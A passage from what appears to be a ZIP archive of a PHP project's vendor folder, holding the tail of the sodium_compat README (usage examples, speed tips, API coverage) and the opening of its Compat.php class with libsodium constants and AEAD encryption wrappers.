$alice_kp = ParagonIE_Sodium_Compat::crypto_sign_keypair();
$alice_sk = ParagonIE_Sodium_Compat::crypto_sign_secretkey($alice_kp);
$alice_pk = ParagonIE_Sodium_Compat::crypto_sign_publickey($alice_kp);

$message = 'This is a test message.';
$signature = ParagonIE_Sodium_Compat::crypto_sign_detached($message,
$alice_sk);
if (ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature,
$message, $alice_pk)) {
    echo 'OK', PHP_EOL;
} else {
    throw new Exception('Invalid signature');
}
```

Generally: If you replace `\Sodium\ ` with `ParagonIE_Sodium_Compat::`, any
code already written for the libsodium PHP extension should work with our
polyfill without additional code changes.

Since this doesn't require a namespace, this API *is* exposed on PHP
5.2.

Since version 0.7.0, we have our own namespaced API (`ParagonIE\Sodium\*`)
to allow brevity
in software that uses PHP 5.3+. This is useful if you want to use our file
cryptography 
features without writing `ParagonIE_Sodium_File` every time. This is not
exposed on PHP < 5.3,
so if your project supports PHP < 5.3, use the underscore method
instead.

To learn how to use Libsodium, read [*Using Libsodium in PHP
Projects*](https://paragonie.com/book/pecl-libsodium).

## PHP 7.2 Polyfill

As per the [second vote on the libsodium
RFC](https://wiki.php.net/rfc/libsodium#proposed_voting_choices),
PHP 7.2 uses `sodium_*` instead of `\Sodium\*`.

```php
<?php
require_once "/path/to/sodium_compat/autoload.php";

$alice_kp = sodium_crypto_sign_keypair();
$alice_sk = sodium_crypto_sign_secretkey($alice_kp);
$alice_pk = sodium_crypto_sign_publickey($alice_kp);

$message = 'This is a test message.';
$signature = sodium_crypto_sign_detached($message, $alice_sk);
if (sodium_crypto_sign_verify_detached($signature, $message, $alice_pk)) {
    echo 'OK', PHP_EOL;
} else {
    throw new Exception('Invalid signature');
}
```

## Help, Sodium_Compat is Slow! How can I make it fast?

There are three ways to make it fast:

1. Use PHP 7.2.
2. [Install the libsodium PHP extension from
PECL](https://paragonie.com/book/pecl-libsodium/read/00-intro.md#installing-libsodium).
3. Only if the previous two options are not available for you:
   1. Verify that [the processor you're using actually implements
constant-time multiplication](https://bearssl.org/ctmul.html).
      Sodium_compat does, but it must trade some speed in order to attain
cross-platform security.
   2. Only if you are 100% certain that your processor is safe, you can set
`ParagonIE_Sodium_Compat::$fastMult = true;`
      without harming the security of your cryptography keys. If your
processor *isn't* safe, then decide whether you
      want speed or security because you can't have both.

### How can I tell if sodium_compat will be slow, at runtime?

Since version 1.8, you can use the `polyfill_is_fast()` static method to
determine if sodium_compat will be slow at runtime.

```php
<?php
if (ParagonIE_Sodium_Compat::polyfill_is_fast()) {
    // Use libsodium now
    $process->execute();
} else {
    // Defer to a cron job or other sort of asynchronous process
    $process->enqueue();
}
```

### Help, my PHP only has 32-Bit Integers! It's super slow!

Some features of sodium_compat are ***incredibly slow* with PHP 5 on
Windows**
(in particular: public-key cryptography (encryption and signatures) is
affected), and there is nothing we can do about that, due to platform
restrictions on integers.

For acceptable performance, we highly recommend Windows users to version
1.0.6
of the libsodium extension from PECL or, alternatively, simply upgrade to
PHP 7
and the slowdown will be greatly reduced.

This is also true of non-Windows 32-bit operating systems, or if somehow
PHP
was compiled where `PHP_INT_SIZE` equals `4` instead of `8` (i.e. Linux on
i386).

## Documentation

First, you'll want to read the [Libsodium Quick
Reference](https://paragonie.com/blog/2017/06/libsodium-quick-reference-quick-comparison-similar-functions-and-which-one-use).
It aims to answer, "Which function should I use for [common
problem]?".

If you don't find the answers in the Quick Reference page, check out
[*Using Libsodium in PHP
Projects*](https://paragonie.com/book/pecl-libsodium).

Finally, the [official libsodium
documentation](https://download.libsodium.org/doc/) 
(which was written for the C library, not the PHP library) also contains a
lot of
insightful technical information you may find helpful.

## API Coverage

**Recommended reading:** [Libsodium Quick
Reference](https://paragonie.com/blog/2017/06/libsodium-quick-reference-quick-comparison-similar-functions-and-which-one-use)

* Mainline NaCl Features
    * `crypto_auth()`
    * `crypto_auth_verify()`
    * `crypto_box()`
    * `crypto_box_open()`
    * `crypto_scalarmult()`
    * `crypto_secretbox()`
    * `crypto_secretbox_open()`
    * `crypto_sign()`
    * `crypto_sign_open()`
* PECL Libsodium Features
    * `crypto_aead_aes256gcm_encrypt()`
    * `crypto_aead_aes256gcm_decrypt()`
    * `crypto_aead_chacha20poly1305_encrypt()`
    * `crypto_aead_chacha20poly1305_decrypt()`
    * `crypto_aead_chacha20poly1305_ietf_encrypt()`
    * `crypto_aead_chacha20poly1305_ietf_decrypt()`
    * `crypto_aead_xchacha20poly1305_ietf_encrypt()`
    * `crypto_aead_xchacha20poly1305_ietf_decrypt()`
    * `crypto_box_xchacha20poly1305()`
    * `crypto_box_xchacha20poly1305_open()`
    * `crypto_box_seal()`
    * `crypto_box_seal_open()`
    * `crypto_generichash()`
    * `crypto_generichash_init()`
    * `crypto_generichash_update()`
    * `crypto_generichash_final()`
    * `crypto_kx()`
    * `crypto_secretbox_xchacha20poly1305()`
    * `crypto_secretbox_xchacha20poly1305_open()`
    * `crypto_shorthash()`
    * `crypto_sign_detached()`
    * `crypto_sign_ed25519_pk_to_curve25519()`
    * `crypto_sign_ed25519_sk_to_curve25519()`
    * `crypto_sign_verify_detached()`
    * For advanced users only:
        * `crypto_stream()`
        * `crypto_stream_xor()`
    * Other utilities (e.g. `crypto_*_keypair()`)
        * `add()`
        * `base642bin()`
        * `bin2base64()`
        * `bin2hex()`
        * `hex2bin()`
        * `crypto_kdf_derive_from_key()`
        * `crypto_kx_client_session_keys()`
        * `crypto_kx_server_session_keys()`
        * `crypto_secretstream_xchacha20poly1305_init_push()`
        * `crypto_secretstream_xchacha20poly1305_push()`
        * `crypto_secretstream_xchacha20poly1305_init_pull()`
        * `crypto_secretstream_xchacha20poly1305_pull()`
        * `crypto_secretstream_xchacha20poly1305_rekey()`
        * `pad()`
        * `unpad()`

### Cryptography Primitives Provided

* **X25519** - Elliptic Curve Diffie Hellman over Curve25519
* **Ed25519** - Edwards curve Digital Signature Algorithm over Curve25519
* **Xsalsa20** - Extended-nonce Salsa20 stream cipher
* **ChaCha20** - Stream cipher
* **Xchacha20** - Extended-nonce ChaCha20 stream cipher
* **Poly1305** - Polynomial Evaluation Message Authentication Code modulo
2^130 - 5
* **BLAKE2b** - Cryptographic Hash Function
* **SipHash-2-4** - Fast hash, but not collision-resistant; ideal for hash
tables.

### Features Excluded from this Polyfill

* `\Sodium\memzero()` - Although we expose this API endpoint, we can't
reliably
  zero buffers from PHP.
  
  If you have the PHP extension installed, sodium_compat
  will use the native implementation to zero out the string provided.
Otherwise
  it will throw a `SodiumException`.
* `\Sodium\crypto_pwhash()` - It's not feasible to polyfill scrypt or
Argon2
  into PHP and get reasonable performance. Users would feel motivated to
select
  parameters that downgrade security to avoid denial of service (DoS)
attacks.
  
  The only winning move is not to play.
  
  If ext/sodium or ext/libsodium is installed, these API methods will
fallthrough
  to the extension. Otherwise, our polyfill library will throw a
`SodiumException`.
  
  To detect support for Argon2i at runtime, use
  `ParagonIE_Sodium_Compat::crypto_pwhash_is_available()`, which returns a
   boolean value (`TRUE` or `FALSE`).

### PHPCompatibility Ruleset

For sodium_compat users and that utilize
[`PHPCompatibility`](https://github.com/PHPCompatibility/PHPCompatibility)
in their CI process, there is now a custom ruleset available which can be
used
to prevent false positives being thrown by `PHPCompatibility` for the
native
PHP functionality being polyfilled by this repo.

You can find the repo for the `PHPCompatibilityParagonieSodiumCompat`
ruleset
here [on
Github](https://github.com/PHPCompatibility/PHPCompatibilityParagonie) 
and [on
Packagist](https://packagist.org/packages/phpcompatibility/phpcompatibility-paragonie).
PK	�[N��t
t
Echat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Compat.phpnu�[���<?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don't have the PHP extension installed, we
offer a
 * compatible interface here. It will give you the correct results as if
the
 * PHP extension was installed. It won't be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
CAUTION *
 *                                                                         
     *
 *     Until audited, this is probably not safe to use! DANGER WILL
ROBINSON     *
 *                                                                         
     *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
CAUTION *
 */

if (class_exists('ParagonIE_Sodium_Compat', false)) {
    return;
}

class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

    /**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your
platform.
     *
     * @var bool
     */
    public static $fastMult = false;

    const LIBRARY_MAJOR_VERSION = 9;
    const LIBRARY_MINOR_VERSION = 1;
    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = 'polyfill-1.0.8';

    // From libsodium
    const BASE64_VARIANT_ORIGINAL = 1;
    const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
    const BASE64_VARIANT_URLSAFE = 5;
    const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_KDF_BYTES_MIN = 16;
    const CRYPTO_KDF_BYTES_MAX = 64;
    const CRYPTO_KDF_CONTEXTBYTES = 8;
    const CRYPTO_KDF_KEYBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_KEYPAIRBYTES = 64;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_KX_SESSIONKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE =
16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE =
1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX =
0x3fffffff80;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;

    /**
     * Add two numbers (little-endian unsigned), storing the value in the
first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function add(&$val, $addv)
    {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same
length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c += ($A[$i] + $B[$i]);
            $A[$i] = ($c & 0xff);
            $c >>= 8;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * @param string $encoded
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     */
    public static function base642bin($encoded, $variant, $ignore =
'')
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($encoded,
'string', 1);

        /** @var string $encoded */
        $encoded = (string) $encoded;
        if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) {
            return '';
        }

        // Just strip before decoding
        if (!empty($ignore)) {
            $encoded = str_replace($ignore, '', $encoded);
        }

        try {
            switch ($variant) {
                case self::BASE64_VARIANT_ORIGINAL:
                    return
ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
                case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                    return
ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false);
                case self::BASE64_VARIANT_URLSAFE:
                    return
ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
                case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                    return
ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false);
                default:
                    throw new SodiumException('invalid base64 variant
identifier');
            }
        } catch (Exception $ex) {
            if ($ex instanceof SodiumException) {
                throw $ex;
            }
            throw new SodiumException('invalid base64 string');
        }
    }

    /**
     * @param string $decoded
     * @param int $variant
     * @return string
     * @throws SodiumException
     */
    public static function bin2base64($decoded, $variant)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($decoded,
'string', 1);
        /** @var string $decoded */
        $decoded = (string) $decoded;
        if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
            return '';
        }

        switch ($variant) {
            case self::BASE64_VARIANT_ORIGINAL:
                return
ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
            case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                return
ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
            case self::BASE64_VARIANT_URLSAFE:
                return
ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
            case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                return
ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
            default:
                throw new SodiumException('invalid base64 variant
identifier');
        }
    }

    /**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex($string)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string,
'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback('bin2hex')) {
            return (string) call_user_func('\\Sodium\\bin2hex',
$string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

    /**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          If < 0 if the left operand is less than the
right
     *                      If = 0 if both strings are equal
     *                      If > 0 if the right operand is less than the
left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback('compare')) {
            return (int) call_user_func('\\Sodium\\compare',
$left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

    /**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if
(self::use_fallback('crypto_aead_aes256gcm_is_available')) {
            return
call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
        }
        if (PHP_VERSION_ID < 70100) {
            // OpenSSL doesn't support AEAD before 7.1.0
            return false;
        }
        if (!is_callable('openssl_encrypt') ||
!is_callable('openssl_decrypt')) {
            // OpenSSL isn't installed
            return false;
        }
        return (bool) in_array('aes-256-gcm',
openssl_get_cipher_methods());
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData  Authenticated Associated Data
(unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8
bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not
available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_AES256GCM_ABYTES long');
        }
        if (!is_callable('openssl_decrypt')) {
            throw new SodiumException('The OpenSSL extension is not
installed, or openssl_decrypt() is not available');
        }

        /** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0,
-self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext,
-self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8
bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not
available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }

        if (!is_callable('openssl_encrypt')) {
            throw new SodiumException('The OpenSSL extension is not
installed, or openssl_encrypt() is not available');
        }

        $authTag = '';
        $ciphertext = openssl_encrypt(
            $plaintext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

    /**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData  Authenticated Associated Data
(unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8
bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8
bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData  Authenticated Associated Data
(unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12
bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
